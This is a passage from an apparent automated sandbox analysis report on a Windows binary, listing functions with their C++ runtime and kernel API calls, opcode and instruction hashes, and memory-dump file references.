Opcode Fuzzy Hash: 12c34c1297b3c00ecb5cb9930df3925c8a3fb11be4c7143e9de1c8539ba957ba
Instruction Fuzzy Hash: D901A235904629AFDB018F54DC49FAEBBFCFB08B10F04456AE811A36A0DFB49900CB90

Function 00B9DDD2 Relevance: 7.9, APIs: 5, Instructions: 433COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B9DDD9
collate.LIBCPMT ref: 00B9DF54
numpunct.LIBCPMT ref: 00B9E1CE

Part of subcall function 00B983C2: __EH_prolog3.LIBCMT ref: 00B983C9

Part of subcall function 00B9815A: __EH_prolog3.LIBCMT ref: 00B98161
Part of subcall function 00B9815A: std::_Lockit::_Lockit.LIBCPMT ref: 00B9816B
Part of subcall function 00B9815A: std::_Lockit::~_Lockit.LIBCPMT ref: 00B981DC

Part of subcall function 00B8EAF0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8EB1D
Part of subcall function 00B8EAF0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8EB40
Part of subcall function 00B8EAF0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8EB68
Part of subcall function 00B8EAF0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8EC07

Part of subcall function 00B94403: Concurrency::cancel_current_task.LIBCPMT ref: 00B944C6

Part of subcall function 00B9764B: __EH_prolog3.LIBCMT ref: 00B97652
Part of subcall function 00B9764B: std::_Lockit::_Lockit.LIBCPMT ref: 00B9765C
Part of subcall function 00B9764B: std::_Lockit::~_Lockit.LIBCPMT ref: 00B976CD

__Getcoll.LIBCPMT ref: 00B9DF94

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

Part of subcall function 00B884C0: LocalAlloc.KERNEL32(00000040,00000000,00BA839D,00000000,E5F50329,?,00000000,?,00000000,?,00BCCB8D,000000FF,?,00B817D5,00000000,00BCD3BA), ref: 00B884C6

Part of subcall function 00B8B9E0: __Getctype.LIBCPMT ref: 00B8B9EB

Part of subcall function 00B97A5E: __EH_prolog3.LIBCMT ref: 00B97A65
Part of subcall function 00B97A5E: std::_Lockit::_Lockit.LIBCPMT ref: 00B97A6F
Part of subcall function 00B97A5E: std::_Lockit::~_Lockit.LIBCPMT ref: 00B97AE0

Part of subcall function 00B97B88: __EH_prolog3.LIBCMT ref: 00B97B8F
Part of subcall function 00B97B88: std::_Lockit::_Lockit.LIBCPMT ref: 00B97B99
Part of subcall function 00B97B88: std::_Lockit::~_Lockit.LIBCPMT ref: 00B97C0A

Part of subcall function 00B97DDC: __EH_prolog3.LIBCMT ref: 00B97DE3
Part of subcall function 00B97DDC: std::_Lockit::_Lockit.LIBCPMT ref: 00B97DED
Part of subcall function 00B97DDC: std::_Lockit::~_Lockit.LIBCPMT ref: 00B97E5E

Part of subcall function 00B97D47: __EH_prolog3.LIBCMT ref: 00B97D4E
Part of subcall function 00B97D47: std::_Lockit::_Lockit.LIBCPMT ref: 00B97D58
Part of subcall function 00B97D47: std::_Lockit::~_Lockit.LIBCPMT ref: 00B97DC9

Part of subcall function 00B94403: __EH_prolog3.LIBCMT ref: 00B9440A
Part of subcall function 00B94403: std::_Lockit::_Lockit.LIBCPMT ref: 00B94414
Part of subcall function 00B94403: std::_Lockit::~_Lockit.LIBCPMT ref: 00B944BB

codecvt.LIBCPMT ref: 00B9E27F

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3$AllocConcurrency::cancel_current_taskGetcollGetctypeLocalcodecvtcollatenumpunct
String ID:
API String ID: 2252558201-0
Opcode ID: 668aded6787925609e8c91a4a741c439616d7eed74d99c36f6bf9b93b3cf171d
Instruction ID: 51008d792813beb6e6db471c6aee0d038a2a8d75f287fe6349b7444f15617dc9
Opcode Fuzzy Hash: 668aded6787925609e8c91a4a741c439616d7eed74d99c36f6bf9b93b3cf171d
Instruction Fuzzy Hash: 5BE1C0B290021AABDF11AF658C42A7F7AE5EF52350F1544FDF9686B391EF308D108B91

Function 00BBC382 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00BBC409
__alloca_probe_16.LIBCMT ref: 00BBC4CA
__freea.LIBCMT ref: 00BBC531

Part of subcall function 00BBB127: HeapAlloc.KERNEL32(00000000,?,?,?,00BBAAAA,?,00000000,?,00BAC282,?,?,?,?,?,?,00B81668), ref: 00BBB159

__freea.LIBCMT ref: 00BBC546
__freea.LIBCMT ref: 00BBC556

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: ef68dda2fe8e4bc480c1c99faf2d6242c72f177b32e9cf910e8bb636f02f41d9
Instruction ID: 8ddc1ad5b8e889d4bec328b78baf96c0fa0c7ee09bfc0958d9a5cfe092097ba6
Opcode Fuzzy Hash: ef68dda2fe8e4bc480c1c99faf2d6242c72f177b32e9cf910e8bb636f02f41d9
Instruction Fuzzy Hash: 48519F72604216AFEF21DF64CC82EFF3EE9EF54350B1541A9FD08D6251EAB1ED1086A0

Function 00B8C590 Relevance: 7.6, APIs: 5, Instructions: 116COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00B8C5BD
std::_Lockit::_Lockit.LIBCPMT ref: 00B8C5E0
std::_Lockit::~_Lockit.LIBCPMT ref: 00B8C608
std::_Facet_Register.LIBCPMT ref: 00B8C67D
std::_Lockit::~_Lockit.LIBCPMT ref: 00B8C6A7

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 7d4f06411f016cb9e93244ebc2a63139c46c6a6df60b9c2aaefc892a8b918282
Instruction ID: 3ab8261e9bef303d58a8c574f979e6d185c0abc65d88dff2414dca9bf9f03b3e
Opcode Fuzzy Hash: 7d4f06411f016cb9e93244ebc2a63139c46c6a6df60b9c2aaefc892a8b918282
Instruction Fuzzy Hash: C74183B1900655DFCF21DF58D884B9EBBF4EF04714F1442A9E8156B3A1EB31AE04CBA1

Function 00B8EAF0 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00B8EB1D
std::_Lockit::_Lockit.LIBCPMT ref: 00B8EB40
std::_Lockit::~_Lockit.LIBCPMT ref: 00B8EB68
std::_Facet_Register.LIBCPMT ref: 00B8EBDD
std::_Lockit::~_Lockit.LIBCPMT ref: 00B8EC07

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 4779ea9322f463efbb7f334ac2b3c0213388e6f7a150f361f947df05e4932c84
Instruction ID: 2d6107a6f6a02af442d1d567467c46727dfea44a9d54e7d636fdb94953d87aae
Opcode Fuzzy Hash: 4779ea9322f463efbb7f334ac2b3c0213388e6f7a150f361f947df05e4932c84
Instruction Fuzzy Hash: 0841A271800699DFCF21DF58D980B9EBBF4FB14724F144199D8256B3A1DB30AE44CB91

Function 00B8EC30 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00B8EC5D
std::_Lockit::_Lockit.LIBCPMT ref: 00B8EC80
std::_Lockit::~_Lockit.LIBCPMT ref: 00B8ECA8
std::_Facet_Register.LIBCPMT ref: 00B8ED1D
std::_Lockit::~_Lockit.LIBCPMT ref: 00B8ED47

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: b74276627e63009eb9d9b75350ef8faa95526a6747db9d2d96fbb5b6c84f0088
Instruction ID: 1ad5138c6e07a122be71ca8887f657cb053886d65db65553134dae45832dd37d
Opcode Fuzzy Hash: b74276627e63009eb9d9b75350ef8faa95526a6747db9d2d96fbb5b6c84f0088
Instruction Fuzzy Hash: D3419171D00699DFCB21DF58D88079EBBF4FB04714F1442A9D8216B2A1DB31AE44CBD1

Function 00B8ED70 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00B8ED9D
std::_Lockit::_Lockit.LIBCPMT ref: 00B8EDC0
std::_Lockit::~_Lockit.LIBCPMT ref: 00B8EDE8
std::_Facet_Register.LIBCPMT ref: 00B8EE5D
std::_Lockit::~_Lockit.LIBCPMT ref: 00B8EE87

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 64ff1ecd8b6c929a38daf4a48015a656693f72f3ee509e55a98b65f5e52a0b66
Instruction ID: c57b375866292eb7abb5172220e16f6ebddf1cc3ceec1deab2a436f5216be39e
Opcode Fuzzy Hash: 64ff1ecd8b6c929a38daf4a48015a656693f72f3ee509e55a98b65f5e52a0b66
Instruction Fuzzy Hash: BD41C471900659DFCF21DF58D884BAEBBF4FB04724F154699E8216B3A1DB30AE44CB91

Function 00B87C30 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 83COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000010,00000010,?,00B87912,?,?), ref: 00B87C37

Strings

Last error=, xrefs: 00B87CC1
true, xrefs: 00B87C41
Call to ShellExecuteEx() returned:, xrefs: 00B87C5D
false, xrefs: 00B87C46

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: ErrorLast
String ID: Call to ShellExecuteEx() returned:$Last error=$false$true
API String ID: 1452528299-1782174991
Opcode ID: 56d6c9f6cbf7c8c292a1972b8f97e0fc9820e5f0f3babc4e4cffce7da159a7bc
Instruction ID: 0ca8e1fb2805c155386d6509175cdce4dd54a607bcaff41c0d603c6762e48aaf
Opcode Fuzzy Hash: 56d6c9f6cbf7c8c292a1972b8f97e0fc9820e5f0f3babc4e4cffce7da159a7bc
Instruction Fuzzy Hash: 2E214A49A60262C6CB746F3C8400735A3F0EF54749B6518AFE8D8D73A0FA69CCC1C790

Function 00B96FF9 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

_Maklocstr.LIBCPMT ref: 00B97019
_Maklocstr.LIBCPMT ref: 00B97036
_Maklocstr.LIBCPMT ref: 00B97053
_Maklocchr.LIBCPMT ref: 00B97065
_Maklocchr.LIBCPMT ref: 00B97078

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: Maklocstr$Maklocchr
String ID:
API String ID: 2020259771-0
Opcode ID: 24d99d51e2892113772edf215bc6520efb476a1b8df667dde753fb2b1f2112d5
Instruction ID: cb22ff093a9a2febb6f0fdf6d52f94a26d70d953a04076faa07ff8f862df7e33
Opcode Fuzzy Hash: 24d99d51e2892113772edf215bc6520efb476a1b8df667dde753fb2b1f2112d5
Instruction Fuzzy Hash: A21191B16A4744BBEB20DBA59881F12B7ECFF09350F04456AF149CBA41E765FC5087A4

Function 00B92823 Relevance: 7.6, APIs: 5, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B9282A
std::_Lockit::_Lockit.LIBCPMT ref: 00B92834

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

numpunct.LIBCPMT ref: 00B9286E
std::_Facet_Register.LIBCPMT ref: 00B92885
std::_Lockit::~_Lockit.LIBCPMT ref: 00B928A5

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registernumpunct
String ID:
API String ID: 743221004-0
Opcode ID: 8057497907f96d7ce1a52f06720b44851493e19dd34ec0090e7764d48ab87d87
Instruction ID: a10e78704182d7b0a655364d8268883bf1f7a1d8b4c6114ff521d02a061574d9
Opcode Fuzzy Hash: 8057497907f96d7ce1a52f06720b44851493e19dd34ec0090e7764d48ab87d87
Instruction Fuzzy Hash: B111E136D00659EBCF15EB64C895ABE77F1EF84710F6401A9E410AB2A1DF309E01CB90

Function 00B98030 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B98037
std::_Lockit::_Lockit.LIBCPMT ref: 00B98041

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

numpunct.LIBCPMT ref: 00B9807B
std::_Facet_Register.LIBCPMT ref: 00B98092
std::_Lockit::~_Lockit.LIBCPMT ref: 00B980B2

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registernumpunct
String ID:
API String ID: 743221004-0
Opcode ID: 9a0cac2dd61e22741e8cdb8ffee7036e06cfe1fe5bc40f78af75f3a1ff5b443f
Instruction ID: d05c9dabb02b744b8a970da17cb9bb3fc200e2b9d81d56afddc3468cffd8b3f3
Opcode Fuzzy Hash: 9a0cac2dd61e22741e8cdb8ffee7036e06cfe1fe5bc40f78af75f3a1ff5b443f
Instruction Fuzzy Hash: 8B01D236900619DBCF11FBA4C846AAE77F1EF85310F2500A9E4106B2A2DF349E05CB80

Function 00B975B6 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B975BD
std::_Lockit::_Lockit.LIBCPMT ref: 00B975C7

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

codecvt.LIBCPMT ref: 00B97601
std::_Facet_Register.LIBCPMT ref: 00B97618
std::_Lockit::~_Lockit.LIBCPMT ref: 00B97638

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: 9556ccb2a719d5d4a90c2de367dabc0c06444d5693fd869b45ae5f4b3d43c9e0
Instruction ID: 4c7275e1ca3b765955f474cca63d798192e9021040f4ba5299b241cb0db48663
Opcode Fuzzy Hash: 9556ccb2a719d5d4a90c2de367dabc0c06444d5693fd869b45ae5f4b3d43c9e0
Instruction Fuzzy Hash: 4101D236944659DBCF11FB78D846AAD77F1EF84310F2400E9E8116B2A2DF309E01CB80

Function 00B976E0 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B976E7
std::_Lockit::_Lockit.LIBCPMT ref: 00B976F1

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

collate.LIBCPMT ref: 00B9772B
std::_Facet_Register.LIBCPMT ref: 00B97742
std::_Lockit::~_Lockit.LIBCPMT ref: 00B97762

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercollate
String ID:
API String ID: 1007100420-0
Opcode ID: a38bd783d022e9934f9b15e7ae5193291e585418b7340050acda42317719916b
Instruction ID: a368292771a8c25ccd1ec18b1df8649abc6c38aaae2f86387e762fff6f175886
Opcode Fuzzy Hash: a38bd783d022e9934f9b15e7ae5193291e585418b7340050acda42317719916b
Instruction Fuzzy Hash: BA01D235944619DBCF11FBA4D846BAE77F1EF84310F2404A9E4106B2A2DF349E01CB90

Function 00B92664 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B9266B
std::_Lockit::_Lockit.LIBCPMT ref: 00B92675

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

codecvt.LIBCPMT ref: 00B926AF
std::_Facet_Register.LIBCPMT ref: 00B926C6
std::_Lockit::~_Lockit.LIBCPMT ref: 00B926E6

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: de17cc1b2d72646cb7add8e19ba15e1541bb58d110cfd96c08a2e47af2e83e18
Instruction ID: be93020d9830772d7dc374c3005190ba17c7b6a705f51f36e37e2fe5d40c2feb
Opcode Fuzzy Hash: de17cc1b2d72646cb7add8e19ba15e1541bb58d110cfd96c08a2e47af2e83e18
Instruction Fuzzy Hash: C301DE32D00659EBCF15EB64C846ABE7BF1EF84310F2500A9E410AB2A1DF709E01CB80

Function 00B9764B Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B97652
std::_Lockit::_Lockit.LIBCPMT ref: 00B9765C

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

codecvt.LIBCPMT ref: 00B97696
std::_Facet_Register.LIBCPMT ref: 00B976AD
std::_Lockit::~_Lockit.LIBCPMT ref: 00B976CD

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: 97c94be58184f2896fec8295fe661188f7a664048e2ee6dd95322f2b10624927
Instruction ID: c9f0fdc47696397f854aa35e2ab5a852c2c8cd84a1630094ce23dfa3d478de14
Opcode Fuzzy Hash: 97c94be58184f2896fec8295fe661188f7a664048e2ee6dd95322f2b10624927
Instruction Fuzzy Hash: C101D232954A19DBCF11FB68C846ABD77F1EF84310F2440A9F5106B2A1DF709E01CB90

Function 00B97775 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B9777C
std::_Lockit::_Lockit.LIBCPMT ref: 00B97786

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

collate.LIBCPMT ref: 00B977C0
std::_Facet_Register.LIBCPMT ref: 00B977D7
std::_Lockit::~_Lockit.LIBCPMT ref: 00B977F7

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercollate
String ID:
API String ID: 1007100420-0
Opcode ID: 30d963d2affb82031d23ba1534c8dc3e2ca7a23375eecc23890b338d74ad35b0
Instruction ID: 024512f47006262b8629e6f0debd2446b278713624074b912fd91cb82a141588
Opcode Fuzzy Hash: 30d963d2affb82031d23ba1534c8dc3e2ca7a23375eecc23890b338d74ad35b0
Instruction Fuzzy Hash: 5E01C075984619DBCF11EBA4D846ABE77F1EF85320F2404A9E4106B3A2CF749E01CB90

Function 00B9789F Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B978A6
std::_Lockit::_Lockit.LIBCPMT ref: 00B978B0

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

messages.LIBCPMT ref: 00B978EA
std::_Facet_Register.LIBCPMT ref: 00B97901
std::_Lockit::~_Lockit.LIBCPMT ref: 00B97921

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

